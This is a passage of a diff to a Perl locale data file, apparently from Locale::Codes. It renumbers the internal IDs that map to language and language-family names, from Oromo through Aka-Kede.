+   q(0328) => [
       q(Oriya),
       q(Oriya (macrolanguage)),
       q(Odia (macrolanguage)),
       ],
-   q(0330) => [
+   q(0329) => [
       q(Oromo),
       ],
-   q(0331) => [
+   q(0330) => [
       q(Osage),
       ],
-   q(0332) => [
+   q(0331) => [
       q(Ossetian),
       q(Ossetic),
       ],
-   q(0333) => [
+   q(0332) => [
       q(Turkish, Ottoman (1500-1928)),
       q(Ottoman Turkish (1500-1928)),
       ],
-   q(0334) => [
+   q(0333) => [
       q(Otomian languages),
       ],
-   q(0335) => [
+   q(0334) => [
       q(Papuan languages),
       ],
-   q(0336) => [
+   q(0335) => [
       q(Pangasinan),
       ],
-   q(0337) => [
+   q(0336) => [
       q(Pahlavi),
       ],
-   q(0338) => [
+   q(0337) => [
       q(Pampanga),
       q(Kapampangan),
       ],
-   q(0339) => [
+   q(0338) => [
       q(Panjabi),
       q(Punjabi),
       ],
-   q(0340) => [
+   q(0339) => [
       q(Papiamento),
       ],
-   q(0341) => [
+   q(0340) => [
       q(Palauan),
       ],
-   q(0342) => [
+   q(0341) => [
       q(Persian, Old (ca.600-400 B.C.)),
       q(Old Persian (ca. 600-400 B.C.)),
       ],
-   q(0343) => [
+   q(0342) => [
       q(Persian),
       ],
-   q(0344) => [
+   q(0343) => [
       q(Philippine languages),
       ],
-   q(0345) => [
+   q(0344) => [
       q(Phoenician),
       ],
-   q(0346) => [
+   q(0345) => [
       q(Pali),
       ],
-   q(0347) => [
+   q(0346) => [
       q(Polish),
       ],
-   q(0348) => [
+   q(0347) => [
       q(Pohnpeian),
       ],
-   q(0349) => [
+   q(0348) => [
       q(Portuguese),
       ],
-   q(0350) => [
+   q(0349) => [
       q(Prakrit languages),
       ],
-   q(0351) => [
+   q(0350) => [
       q(Provencal, Old (to 1500)),
       q(Old Provencal (to 1500)),
       q(Old Occitan (to 1500)),
       ],
-   q(0352) => [
+   q(0351) => [
       q(Pushto),
       q(Pashto),
       ],
-   q(0353) => [
+   q(0352) => [
       q(Reserved for local use),
       ],
-   q(0354) => [
+   q(0353) => [
       q(Quechua),
       ],
-   q(0355) => [
+   q(0354) => [
       q(Rajasthani),
       ],
-   q(0356) => [
+   q(0355) => [
       q(Rapanui),
       ],
-   q(0357) => [
+   q(0356) => [
       q(Rarotongan),
       q(Cook Islands Maori),
       ],
-   q(0358) => [
+   q(0357) => [
       q(Romance languages),
       ],
-   q(0359) => [
+   q(0358) => [
       q(Romansh),
       ],
-   q(0360) => [
+   q(0359) => [
       q(Romany),
       ],
-   q(0361) => [
+   q(0360) => [
       q(Romanian),
       q(Moldavian),
       q(Moldovan),
       ],
-   q(0362) => [
+   q(0361) => [
       q(Rundi),
       ],
-   q(0363) => [
+   q(0362) => [
       q(Aromanian),
       q(Arumanian),
       q(Macedo-Romanian),
       ],
-   q(0364) => [
+   q(0363) => [
       q(Russian),
       ],
-   q(0365) => [
+   q(0364) => [
       q(Sandawe),
       ],
-   q(0366) => [
+   q(0365) => [
       q(Sango),
       ],
-   q(0367) => [
+   q(0366) => [
       q(Yakut),
       ],
-   q(0368) => [
+   q(0367) => [
       q(South American Indian (Other)),
       q(South American Indian languages),
       ],
-   q(0369) => [
+   q(0368) => [
       q(Salishan languages),
       ],
-   q(0370) => [
+   q(0369) => [
       q(Samaritan Aramaic),
       ],
-   q(0371) => [
+   q(0370) => [
       q(Sanskrit),
       ],
-   q(0372) => [
+   q(0371) => [
       q(Sasak),
       ],
-   q(0373) => [
+   q(0372) => [
       q(Santali),
       ],
-   q(0374) => [
+   q(0373) => [
       q(Sicilian),
       ],
-   q(0375) => [
+   q(0374) => [
       q(Scots),
       ],
-   q(0376) => [
+   q(0375) => [
       q(Selkup),
       ],
-   q(0377) => [
+   q(0376) => [
       q(Semitic languages),
       ],
-   q(0378) => [
+   q(0377) => [
       q(Irish, Old (to 900)),
       q(Old Irish (to 900)),
       ],
-   q(0379) => [
+   q(0378) => [
       q(Sign Languages),
       ],
-   q(0380) => [
+   q(0379) => [
       q(Shan),
       ],
-   q(0381) => [
+   q(0380) => [
       q(Sidamo),
       ],
-   q(0382) => [
+   q(0381) => [
       q(Sinhala),
       q(Sinhalese),
       ],
-   q(0383) => [
+   q(0382) => [
       q(Siouan languages),
       ],
-   q(0384) => [
+   q(0383) => [
       q(Sino-Tibetan languages),
       ],
-   q(0385) => [
+   q(0384) => [
       q(Slavic languages),
       ],
-   q(0386) => [
+   q(0385) => [
       q(Slovak),
       ],
-   q(0387) => [
+   q(0386) => [
       q(Slovenian),
       ],
-   q(0388) => [
+   q(0387) => [
       q(Southern Sami),
       ],
-   q(0389) => [
+   q(0388) => [
       q(Northern Sami),
       ],
-   q(0390) => [
+   q(0389) => [
       q(Sami languages),
       ],
-   q(0391) => [
+   q(0390) => [
       q(Lule Sami),
       ],
-   q(0392) => [
+   q(0391) => [
       q(Inari Sami),
       ],
-   q(0393) => [
+   q(0392) => [
       q(Samoan),
       ],
-   q(0394) => [
+   q(0393) => [
       q(Skolt Sami),
       ],
-   q(0395) => [
+   q(0394) => [
       q(Shona),
       ],
-   q(0396) => [
+   q(0395) => [
       q(Sindhi),
       ],
-   q(0397) => [
+   q(0396) => [
       q(Soninke),
       ],
-   q(0398) => [
+   q(0397) => [
       q(Sogdian),
       ],
-   q(0399) => [
+   q(0398) => [
       q(Somali),
       ],
-   q(0400) => [
+   q(0399) => [
       q(Songhai languages),
       ],
-   q(0401) => [
+   q(0400) => [
       q(Sotho, Southern),
       q(Southern Sotho),
       ],
-   q(0402) => [
+   q(0401) => [
       q(Spanish),
       q(Castilian),
       ],
-   q(0403) => [
+   q(0402) => [
       q(Sardinian),
       ],
-   q(0404) => [
+   q(0403) => [
       q(Sranan Tongo),
       ],
-   q(0405) => [
+   q(0404) => [
       q(Serbian),
       ],
-   q(0406) => [
+   q(0405) => [
       q(Serer),
       ],
-   q(0407) => [
+   q(0406) => [
       q(Nilo-Saharan languages),
       ],
-   q(0408) => [
+   q(0407) => [
       q(Swati),
       ],
-   q(0409) => [
+   q(0408) => [
       q(Sukuma),
       ],
-   q(0410) => [
+   q(0409) => [
       q(Sundanese),
       ],
-   q(0411) => [
+   q(0410) => [
       q(Susu),
       ],
-   q(0412) => [
+   q(0411) => [
       q(Sumerian),
       ],
-   q(0413) => [
+   q(0412) => [
       q(Swahili),
       q(Swahili (macrolanguage)),
       ],
-   q(0414) => [
+   q(0413) => [
       q(Swedish),
       ],
-   q(0415) => [
+   q(0414) => [
       q(Classical Syriac),
       ],
-   q(0416) => [
+   q(0415) => [
       q(Syriac),
       ],
-   q(0417) => [
+   q(0416) => [
       q(Tahitian),
       ],
-   q(0418) => [
+   q(0417) => [
       q(Tai languages),
       ],
-   q(0419) => [
+   q(0418) => [
       q(Tamil),
       ],
-   q(0420) => [
+   q(0419) => [
       q(Tatar),
       ],
-   q(0421) => [
+   q(0420) => [
       q(Telugu),
       ],
-   q(0422) => [
+   q(0421) => [
       q(Timne),
       ],
-   q(0423) => [
+   q(0422) => [
       q(Tereno),
       ],
-   q(0424) => [
+   q(0423) => [
       q(Tetum),
       ],
-   q(0425) => [
+   q(0424) => [
       q(Tajik),
       ],
-   q(0426) => [
+   q(0425) => [
       q(Tagalog),
       ],
-   q(0427) => [
+   q(0426) => [
       q(Thai),
       ],
-   q(0428) => [
+   q(0427) => [
       q(Tibetan),
       ],
-   q(0429) => [
+   q(0428) => [
       q(Tigre),
       ],
-   q(0430) => [
+   q(0429) => [
       q(Tigrinya),
       ],
-   q(0431) => [
+   q(0430) => [
       q(Tiv),
       ],
-   q(0432) => [
+   q(0431) => [
       q(Tokelau),
       ],
-   q(0433) => [
+   q(0432) => [
       q(Klingon),
       q(tlhIngan-Hol),
       ],
-   q(0434) => [
+   q(0433) => [
       q(Tlingit),
       ],
-   q(0435) => [
+   q(0434) => [
       q(Tamashek),
       ],
-   q(0436) => [
+   q(0435) => [
       q(Tonga (Nyasa)),
       ],
-   q(0437) => [
+   q(0436) => [
       q(Tonga (Tonga Islands)),
       q(Tonga),
       ],
-   q(0438) => [
+   q(0437) => [
       q(Tok Pisin),
       ],
-   q(0439) => [
+   q(0438) => [
       q(Tsimshian),
       ],
-   q(0440) => [
+   q(0439) => [
       q(Tswana),
       ],
-   q(0441) => [
+   q(0440) => [
       q(Tsonga),
       ],
-   q(0442) => [
+   q(0441) => [
       q(Turkmen),
       ],
-   q(0443) => [
+   q(0442) => [
       q(Tumbuka),
       ],
-   q(0444) => [
+   q(0443) => [
       q(Tupi languages),
       ],
-   q(0445) => [
+   q(0444) => [
       q(Turkish),
       ],
-   q(0446) => [
+   q(0445) => [
       q(Altaic languages),
       ],
-   q(0447) => [
+   q(0446) => [
       q(Tuvalu),
       ],
-   q(0448) => [
+   q(0447) => [
       q(Twi),
       ],
-   q(0449) => [
+   q(0448) => [
       q(Tuvinian),
       ],
-   q(0450) => [
+   q(0449) => [
       q(Udmurt),
       ],
-   q(0451) => [
+   q(0450) => [
       q(Ugaritic),
       ],
-   q(0452) => [
+   q(0451) => [
       q(Uighur),
       q(Uyghur),
       ],
-   q(0453) => [
+   q(0452) => [
       q(Ukrainian),
       ],
-   q(0454) => [
+   q(0453) => [
       q(Umbundu),
       ],
-   q(0455) => [
+   q(0454) => [
       q(Undetermined),
       ],
-   q(0456) => [
+   q(0455) => [
       q(Urdu),
       ],
-   q(0457) => [
+   q(0456) => [
       q(Uzbek),
       ],
-   q(0458) => [
+   q(0457) => [
       q(Vai),
       ],
-   q(0459) => [
+   q(0458) => [
       q(Venda),
       ],
-   q(0460) => [
+   q(0459) => [
       q(Vietnamese),
       ],
-   q(0461) => [
+   q(0460) => [
       q(Volapuk),
       ],
-   q(0462) => [
+   q(0461) => [
       q(Votic),
       ],
-   q(0463) => [
+   q(0462) => [
       q(Wakashan languages),
       ],
-   q(0464) => [
+   q(0463) => [
       q(Walamo),
       q(Wolaytta),
       q(Wolaitta),
       ],
-   q(0465) => [
+   q(0464) => [
       q(Waray),
       q(Waray (Philippines)),
       ],
-   q(0466) => [
+   q(0465) => [
       q(Washo),
       ],
-   q(0467) => [
+   q(0466) => [
       q(Welsh),
       ],
-   q(0468) => [
+   q(0467) => [
       q(Sorbian languages),
       ],
-   q(0469) => [
+   q(0468) => [
       q(Walloon),
       ],
-   q(0470) => [
+   q(0469) => [
       q(Wolof),
       ],
-   q(0471) => [
+   q(0470) => [
       q(Kalmyk),
       q(Oirat),
       ],
-   q(0472) => [
+   q(0471) => [
       q(Xhosa),
       ],
-   q(0473) => [
+   q(0472) => [
       q(Yao),
       ],
-   q(0474) => [
+   q(0473) => [
       q(Yapese),
       ],
-   q(0475) => [
+   q(0474) => [
       q(Yiddish),
       ],
-   q(0476) => [
+   q(0475) => [
       q(Yoruba),
       ],
-   q(0477) => [
+   q(0476) => [
       q(Yupik languages),
       ],
-   q(0478) => [
+   q(0477) => [
       q(Zapotec),
       ],
-   q(0479) => [
+   q(0478) => [
       q(Blissymbols),
       q(Blissymbolics),
       q(Bliss),
       ],
-   q(0480) => [
+   q(0479) => [
       q(Zenaga),
       ],
-   q(0481) => [
+   q(0480) => [
       q(Standard Moroccan Tamazight),
       ],
-   q(0482) => [
+   q(0481) => [
       q(Zhuang),
       q(Chuang),
       ],
-   q(0483) => [
+   q(0482) => [
       q(Zande languages),
       ],
-   q(0484) => [
+   q(0483) => [
       q(Zulu),
       ],
-   q(0485) => [
+   q(0484) => [
       q(Zuni),
       ],
-   q(0486) => [
+   q(0485) => [
       q(No linguistic content),
       q(Not applicable),
       ],
-   q(0487) => [
+   q(0486) => [
       q(Zaza),
       q(Dimili),
       q(Dimli),
@@ -1605,9391 +1601,9390 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       q(Dimli (macrolanguage)),
       q(Kirmanjki (macrolanguage)),
       ],
-   q(0488) => [
+   q(0487) => [
       q(Austro-Asiatic languages),
       ],
-   q(0489) => [
+   q(0488) => [
       q(Atlantic-Congo languages),
       ],
-   q(0490) => [
+   q(0489) => [
       q(Alacalufan languages),
       ],
-   q(0491) => [
+   q(0490) => [
       q(Algic languages),
       ],
-   q(0492) => [
+   q(0491) => [
       q(Arauan languages),
       ],
-   q(0493) => [
+   q(0492) => [
       q(Arawakan languages),
       ],
-   q(0494) => [
+   q(0493) => [
       q(Uto-Aztecan languages),
       ],
-   q(0495) => [
+   q(0494) => [
       q(Chibchan languages),
       ],
-   q(0496) => [
+   q(0495) => [
       q(North Caucasian languages),
       ],
-   q(0497) => [
+   q(0496) => [
       q(South Caucasian languages),
       ],
-   q(0498) => [
+   q(0497) => [
       q(Chadic languages),
       ],
-   q(0499) => [
+   q(0498) => [
       q(Caddoan languages),
       ],
-   q(0500) => [
+   q(0499) => [
       q(Central Sudanic languages),
       ],
-   q(0501) => [
+   q(0500) => [
       q(Mande languages),
       ],
-   q(0502) => [
+   q(0501) => [
       q(Egyptian languages),
       ],
-   q(0503) => [
+   q(0502) => [
       q(Eskimo-Aleut languages),
       ],
-   q(0504) => [
+   q(0503) => [
       q(Basque (family)),
       ],
-   q(0505) => [
+   q(0504) => [
       q(Formosan languages),
       ],
-   q(0506) => [
+   q(0505) => [
       q(East Germanic languages),
       ],
-   q(0507) => [
+   q(0506) => [
       q(North Germanic languages),
       ],
-   q(0508) => [
+   q(0507) => [
       q(West Germanic languages),
       ],
-   q(0509) => [
+   q(0508) => [
       q(Greek languages),
       ],
-   q(0510) => [
+   q(0509) => [
       q(Hmong-Mien languages),
       ],
-   q(0511) => [
+   q(0510) => [
       q(Hokan languages),
       ],
-   q(0512) => [
+   q(0511) => [
       q(Armenian (family)),
       ],
-   q(0513) => [
+   q(0512) => [
       q(Indo-Iranian languages),
       ],
-   q(0514) => [
+   q(0513) => [
       q(Italic languages),
       ],
-   q(0515) => [
+   q(0514) => [
       q(Japanese (family)),
       ],
-   q(0516) => [
+   q(0515) => [
       q(Kordofanian languages),
       ],
-   q(0517) => [
+   q(0516) => [
       q(Trans-New Guinea languages),
       ],
-   q(0518) => [
+   q(0517) => [
       q(Oto-Manguean languages),
       ],
-   q(0519) => [
+   q(0518) => [
       q(Omotic languages),
       ],
-   q(0520) => [
+   q(0519) => [
       q(Central Malayo-Polynesian languages),
       ],
-   q(0521) => [
+   q(0520) => [
       q(Malayo-Polynesian languages),
       ],
-   q(0522) => [
+   q(0521) => [
       q(Eastern Malayo-Polynesian languages),
       ],
-   q(0523) => [
+   q(0522) => [
       q(Western Malayo-Polynesian languages),
       ],
-   q(0524) => [
+   q(0523) => [
       q(Quechuan (family)),
       ],
-   q(0525) => [
+   q(0524) => [
       q(Eastern Sudanic languages),
       ],
-   q(0526) => [
+   q(0525) => [
       q(Albanian languages),
       ],
-   q(0527) => [
+   q(0526) => [
       q(Samoyedic languages),
       ],
-   q(0528) => [
+   q(0527) => [
       q(Tibeto-Burman languages),
       ],
-   q(0529) => [
+   q(0528) => [
       q(Turkic languages),
       ],
-   q(0530) => [
+   q(0529) => [
       q(Tungus languages),
       ],
-   q(0531) => [
+   q(0530) => [
       q(Uralic languages),
       ],
-   q(0532) => [
+   q(0531) => [
       q(Mongolian languages),
       ],
-   q(0533) => [
+   q(0532) => [
       q(Na-Dene languages),
       ],
-   q(0534) => [
+   q(0533) => [
       q(Chinese (family)),
       ],
-   q(0535) => [
+   q(0534) => [
       q(East Slavic languages),
       ],
-   q(0536) => [
+   q(0535) => [
       q(South Slavic languages),
       ],
-   q(0537) => [
+   q(0536) => [
       q(West Slavic languages),
       ],
-   q(0538) => [
+   q(0537) => [
       q(Serbo-Croatian),
       ],
-   q(0539) => [
+   q(0538) => [
       q(Ghotuo),
       ],
-   q(0540) => [
+   q(0539) => [
       q(Alumu-Tesu),
       ],
-   q(0541) => [
+   q(0540) => [
       q(Ari),
       ],
-   q(0542) => [
+   q(0541) => [
       q(Amal),
       ],
-   q(0543) => [
+   q(0542) => [
       q(Arbereshe Albanian),
       ],
-   q(0544) => [
+   q(0543) => [
       q(Aranadan),
       ],
-   q(0545) => [
+   q(0544) => [
       q(Ambrak),
       ],
-   q(0546) => [
+   q(0545) => [
       q(Abu' Arapesh),
       ],
-   q(0547) => [
+   q(0546) => [
       q(Arifama-Miniafia),
       ],
-   q(0548) => [
+   q(0547) => [
       q(Ankave),
       ],
-   q(0549) => [
+   q(0548) => [
       q(Afade),
       ],
-   q(0550) => [
+   q(0549) => [
       q(Anambe),
       ],
-   q(0551) => [
+   q(0550) => [
       q(Algerian Saharan Arabic),
       ],
-   q(0552) => [
+   q(0551) => [
       q(Para Arara),
       ],
-   q(0553) => [
+   q(0552) => [
       q(Eastern Abnaki),
       ],
-   q(0554) => [
+   q(0553) => [
       q(Aasax),
       ],
-   q(0555) => [
+   q(0554) => [
       q(Arvanitika Albanian),
       ],
-   q(0556) => [
+   q(0555) => [
       q(Abau),
       ],
-   q(0557) => [
+   q(0556) => [
       q(Solong),
       ],
-   q(0558) => [
+   q(0557) => [
       q(Mandobo Atas),
       ],
-   q(0559) => [
+   q(0558) => [
       q(Amarasi),
       ],
-   q(0560) => [
+   q(0559) => [
       q(Abe),
       ],
-   q(0561) => [
+   q(0560) => [
       q(Bankon),
       ],
-   q(0562) => [
+   q(0561) => [
       q(Ambala Ayta),
       ],
-   q(0563) => [
+   q(0562) => [
       q(Manide),
       ],
-   q(0564) => [
+   q(0563) => [
       q(Western Abnaki),
       ],
-   q(0565) => [
+   q(0564) => [
       q(Abai Sungai),
       ],
-   q(0566) => [
+   q(0565) => [
       q(Abaga),
       ],
-   q(0567) => [
+   q(0566) => [
       q(Tajiki Arabic),
       ],
-   q(0568) => [
+   q(0567) => [
       q(Abidji),
       ],
-   q(0569) => [
+   q(0568) => [
       q(Aka-Bea),
       ],
-   q(0570) => [
+   q(0569) => [
       q(Lampung Nyo),
       ],
-   q(0571) => [
+   q(0570) => [
       q(Abanyom),
       ],
-   q(0572) => [
+   q(0571) => [
       q(Abua),
       ],
-   q(0573) => [
+   q(0572) => [
       q(Abon),
       ],
-   q(0574) => [
+   q(0573) => [
       q(Abellen Ayta),
       ],
-   q(0575) => [
+   q(0574) => [
       q(Abaza),
       ],
-   q(0576) => [
+   q(0575) => [
       q(Abron),
       ],
-   q(0577) => [
+   q(0576) => [
       q(Ambonese Malay),
       ],
-   q(0578) => [
+   q(0577) => [
       q(Ambulas),
       ],
-   q(0579) => [
+   q(0578) => [
       q(Abure),
       ],
-   q(0580) => [
+   q(0579) => [
       q(Baharna Arabic),
       ],
-   q(0581) => [
+   q(0580) => [
       q(Pal),
       ],
-   q(0582) => [
+   q(0581) => [
       q(Inabaknon),
       ],
-   q(0583) => [
+   q(0582) => [
       q(Aneme Wake),
       ],
-   q(0584) => [
+   q(0583) => [
       q(Abui),
       ],
-   q(0585) => [
+   q(0584) => [
       q(Achagua),
       ],
-   q(0586) => [
+   q(0585) => [
       q(Anca),
       ],
-   q(0587) => [
+   q(0586) => [
       q(Gikyode),
       ],
-   q(0588) => [
+   q(0587) => [
       q(Saint Lucian Creole French),
       ],
-   q(0589) => [
+   q(0588) => [
       q(Aka-Cari),
       ],
-   q(0590) => [
+   q(0589) => [
       q(Aka-Kora),
       ],
-   q(0591) => [
+   q(0590) => [
       q(Akar-Bale),
       ],
-   q(0592) => [
+   q(0591) => [
       q(Mesopotamian Arabic),
       ],
-   q(0593) => [
+   q(0592) => [
       q(Achang),
       ],
-   q(0594) => [
+   q(0593) => [
       q(Eastern Acipa),
       ],
-   q(0595) => [
+   q(0594) => [
       q(Ta'izzi-Adeni Arabic),
       ],
-   q(0596) => [
+   q(0595) => [
       q(Achi),
       ],
-   q(0597) => [
+   q(0596) => [
       q(Acroa),
       ],
-   q(0598) => [
+   q(0597) => [
       q(Achterhoeks),
       ],
-   q(0599) => [
+   q(0598) => [
       q(Achuar-Shiwiar),
       ],
-   q(0600) => [
+   q(0599) => [
       q(Achumawi),
       ],
-   q(0601) => [
+   q(0600) => [
       q(Hijazi Arabic),
       ],
-   q(0602) => [
+   q(0601) => [
       q(Omani Arabic),
       ],
-   q(0603) => [
+   q(0602) => [
       q(Cypriot Arabic),
       ],
-   q(0604) => [
+   q(0603) => [
       q(Acheron),
       ],
-   q(0605) => [
+   q(0604) => [
       q(Adabe),
       ],
-   q(0606) => [
+   q(0605) => [
       q(Dzodinka),
       ],
-   q(0607) => [
+   q(0606) => [
       q(Adele),
       ],
-   q(0608) => [
+   q(0607) => [
       q(Dhofari Arabic),
       ],
-   q(0609) => [
+   q(0608) => [
       q(Andegerebinha),
       ],
-   q(0610) => [
+   q(0609) => [
       q(Adhola),
       ],
-   q(0611) => [
+   q(0610) => [
       q(Adi),
       ],
-   q(0612) => [
+   q(0611) => [
       q(Adioukrou),
       ],
-   q(0613) => [
+   q(0612) => [
       q(Galo),
       ],
-   q(0614) => [
+   q(0613) => [
       q(Adang),
       ],
-   q(0615) => [
+   q(0614) => [
       q(Abu),
       ],
-   q(0616) => [
+   q(0615) => [
       q(Adangbe),
       ],
-   q(0617) => [
+   q(0616) => [
       q(Adonara),
       ],
-   q(0618) => [
+   q(0617) => [
       q(Adamorobe Sign Language),
       ],
-   q(0619) => [
+   q(0618) => [
       q(Adnyamathanha),
       ],
-   q(0620) => [
+   q(0619) => [
       q(Aduge),
       ],
-   q(0621) => [
+   q(0620) => [
       q(Amundava),
       ],
-   q(0622) => [
+   q(0621) => [
       q(Amdo Tibetan),
       ],
-   q(0623) => [
+   q(0622) => [
       q(Adzera),
       ],
-   q(0624) => [
+   q(0623) => [
       q(Areba),
       ],
-   q(0625) => [
+   q(0624) => [
       q(Tunisian Arabic),
       ],
-   q(0626) => [
+   q(0625) => [
       q(Saidi Arabic),
       ],
-   q(0627) => [
+   q(0626) => [
       q(Argentine Sign Language),
       ],
-   q(0628) => [
+   q(0627) => [
       q(Northeast Pashai),
       q(Northeast Pashayi),
       ],
-   q(0629) => [
+   q(0628) => [
       q(Haeke),
       ],
-   q(0630) => [
+   q(0629) => [
       q(Ambele),
       ],
-   q(0631) => [
+   q(0630) => [
       q(Arem),
       ],
-   q(0632) => [
+   q(0631) => [
       q(Armenian Sign Language),
       ],
-   q(0633) => [
+   q(0632) => [
       q(Aer),
       ],
-   q(0634) => [
+   q(0633) => [
       q(Eastern Arrernte),
       ],
-   q(0635) => [
+   q(0634) => [
       q(Alsea),
       ],
-   q(0636) => [
+   q(0635) => [
       q(Akeu),
       ],
-   q(0637) => [
+   q(0636) => [
       q(Ambakich),
       ],
-   q(0638) => [
+   q(0637) => [
       q(Amele),
       ],
-   q(0639) => [
+   q(0638) => [
       q(Aeka),
       ],
-   q(0640) => [
+   q(0639) => [
       q(Gulf Arabic),
       ],
-   q(0641) => [
+   q(0640) => [
       q(Andai),
       ],
-   q(0642) => [
+   q(0641) => [
       q(Putukwam),
       ],
-   q(0643) => [
+   q(0642) => [
       q(Afghan Sign Language),
       ],
-   q(0644) => [
+   q(0643) => [
       q(Akrukay),
       q(Chini),
       ],
-   q(0645) => [
+   q(0644) => [
       q(Nanubae),
       ],
-   q(0646) => [
+   q(0645) => [
       q(Defaka),
       ],
-   q(0647) => [
+   q(0646) => [
       q(Eloyi),
       ],
-   q(0648) => [
+   q(0647) => [
       q(Tapei),
       ],
-   q(0649) => [
+   q(0648) => [
       q(Afro-Seminole Creole),
       ],
-   q(0650) => [
+   q(0649) => [
       q(Afitti),
       ],
-   q(0651) => [
+   q(0650) => [
       q(Awutu),
       ],
-   q(0652) => [
+   q(0651) => [
       q(Obokuitai),
       ],
-   q(0653) => [
+   q(0652) => [
       q(Aguano),
       ],
-   q(0654) => [
+   q(0653) => [
       q(Legbo),
       ],
-   q(0655) => [
+   q(0654) => [
       q(Agatu),
       ],
-   q(0656) => [
+   q(0655) => [
       q(Agarabi),
       ],
-   q(0657) => [
+   q(0656) => [
       q(Angal),
       ],
-   q(0658) => [
+   q(0657) => [
       q(Arguni),
       ],
-   q(0659) => [
+   q(0658) => [
       q(Angor),
       ],
-   q(0660) => [
+   q(0659) => [
       q(Ngelima),
       ],
-   q(0661) => [
+   q(0660) => [
       q(Agariya),
       ],
-   q(0662) => [
+   q(0661) => [
       q(Argobba),
       ],
-   q(0663) => [
+   q(0662) => [
       q(Isarog Agta),
       ],
-   q(0664) => [
+   q(0663) => [
       q(Fembe),
       ],
-   q(0665) => [
+   q(0664) => [
       q(Angaataha),
       ],
-   q(0666) => [
+   q(0665) => [
       q(Agutaynen),
       ],
-   q(0667) => [
+   q(0666) => [
       q(Tainae),
       ],
-   q(0668) => [
+   q(0667) => [
       q(Aghem),
       ],
-   q(0669) => [
+   q(0668) => [
       q(Aguaruna),
       ],
-   q(0670) => [
+   q(0669) => [
       q(Esimbi),
       ],
-   q(0671) => [
+   q(0670) => [
       q(Central Cagayan Agta),
       ],
-   q(0672) => [
+   q(0671) => [
       q(Aguacateco),
       ],
-   q(0673) => [
+   q(0672) => [
       q(Remontado Dumagat),
       ],
-   q(0674) => [
+   q(0673) => [
       q(Kahua),
       ],
-   q(0675) => [
+   q(0674) => [
       q(Aghul),
       ],
-   q(0676) => [
+   q(0675) => [
       q(Southern Alta),
       ],
-   q(0677) => [
+   q(0676) => [
       q(Mt. Iriga Agta),
       ],
-   q(0678) => [
+   q(0677) => [
       q(Ahanta),
       ],
-   q(0679) => [
+   q(0678) => [
       q(Axamb),
       ],
-   q(0680) => [
+   q(0679) => [
       q(Qimant),
       ],
-   q(0681) => [
+   q(0680) => [
       q(Aghu),
       ],
-   q(0682) => [
+   q(0681) => [
       q(Tiagbamrin Aizi),
       ],
-   q(0683) => [
+   q(0682) => [
       q(Akha),
       ],
-   q(0684) => [
+   q(0683) => [
       q(Igo),
       ],
-   q(0685) => [
+   q(0684) => [
       q(Mobumrin Aizi),
       ],
-   q(0686) => [
+   q(0685) => [
       q(Ahan),
       ],
-   q(0687) => [
+   q(0686) => [
       q(Ahom),
       ],
-   q(0688) => [
+   q(0687) => [
       q(Aproumu Aizi),
       ],
-   q(0689) => [
+   q(0688) => [
       q(Ahirani),
       ],
-   q(0690) => [
+   q(0689) => [
       q(Ashe),
       ],
-   q(0691) => [
+   q(0690) => [
       q(Ahtena),
       ],
-   q(0692) => [
+   q(0691) => [
       q(Arosi),
       ],
-   q(0693) => [
+   q(0692) => [
       q(Ainu (China)),
       ],
-   q(0694) => [
+   q(0693) => [
       q(Ainbai),
       ],
-   q(0695) => [
+   q(0694) => [
       q(Alngith),
       ],
-   q(0696) => [
+   q(0695) => [
       q(Amara),
       ],
-   q(0697) => [
+   q(0696) => [
       q(Agi),
       ],
-   q(0698) => [
+   q(0697) => [
       q(Antigua and Barbuda Creole English),
       ],
-   q(0699) => [
+   q(0698) => [
       q(Ai-Cham),
       ],
-   q(0700) => [
+   q(0699) => [
       q(Assyrian Neo-Aramaic),
       ],
-   q(0701) => [
+   q(0700) => [
       q(Lishanid Noshan),
       ],
-   q(0702) => [
+   q(0701) => [
       q(Ake),
       ],
-   q(0703) => [
+   q(0702) => [
       q(Aimele),
       ],
-   q(0704) => [
+   q(0703) => [
       q(Aimol),
       ],
-   q(0705) => [
+   q(0704) => [
       q(Aiton),
       ],
-   q(0706) => [
+   q(0705) => [
       q(Burumakok),
       ],
-   q(0707) => [
+   q(0706) => [
       q(Aimaq),
       ],
-   q(0708) => [
+   q(0707) => [
       q(Airoran),
       ],
-   q(0709) => [
+   q(0708) => [
       q(Nataoran Amis),
       ],
-   q(0710) => [
+   q(0709) => [
       q(Arikem),
       ],
-   q(0711) => [
+   q(0710) => [
       q(Aari),
       ],
-   q(0712) => [
+   q(0711) => [
       q(Aighon),
       ],
-   q(0713) => [
+   q(0712) => [
       q(Ali),
       ],
-   q(0714) => [
+   q(0713) => [
       q(Aja (Sudan)),
       ],
-   q(0715) => [
+   q(0714) => [
       q(Aja (Benin)),
       ],
-   q(0716) => [
+   q(0715) => [
       q(Ajie),
       ],
-   q(0717) => [
+   q(0716) => [
       q(Andajin),
       ],
-   q(0718) => [
+   q(0717) => [
       q(South Levantine Arabic),
       ],
-   q(0719) => [
+   q(0718) => [
       q(Judeo-Tunisian Arabic),
       ],
-   q(0720) => [
+   q(0719) => [
       q(Judeo-Moroccan Arabic),
       ],
-   q(0721) => [
+   q(0720) => [
       q(Ajawa),
       ],
-   q(0722) => [
+   q(0721) => [
       q(Amri Karbi),
       ],
-   q(0723) => [
+   q(0722) => [
       q(Batak Angkola),
       ],
-   q(0724) => [
+   q(0723) => [
       q(Mpur),
       ],
-   q(0725) => [
+   q(0724) => [
       q(Ukpet-Ehom),
       ],
-   q(0726) => [
+   q(0725) => [
       q(Akawaio),
       ],
-   q(0727) => [
+   q(0726) => [
       q(Akpa),
       ],
-   q(0728) => [
+   q(0727) => [
       q(Anakalangu),
       ],
-   q(0729) => [
+   q(0728) => [
       q(Angal Heneng),
       ],
-   q(0730) => [
+   q(0729) => [
       q(Aiome),
       ],
-   q(0731) => [
+   q(0730) => [
       q(Aka-Jeru),
       ],
-   q(0732) => [
+   q(0731) => [
       q(Aklanon),
       ],
-   q(0733) => [
+   q(0732) => [
       q(Aka-Bo),
       ],
-   q(0734) => [
+   q(0733) => [
       q(Akurio),
       ],
-   q(0735) => [
+   q(0734) => [
       q(Siwu),
       ],
-   q(0736) => [
+   q(0735) => [
       q(Ak),
       ],
-   q(0737) => [
+   q(0736) => [
       q(Araki),
       ],
-   q(0738) => [
+   q(0737) => [
       q(Akaselem),
       ],
-   q(0739) => [
+   q(0738) => [
       q(Akolet),
       ],
-   q(0740) => [
+   q(0739) => [
       q(Akum),
       ],
-   q(0741) => [
+   q(0740) => [
       q(Akhvakh),
       ],
-   q(0742) => [
+   q(0741) => [
       q(Akwa),
       ],
-   q(0743) => [
+   q(0742) => [
       q(Aka-Kede),
       ],
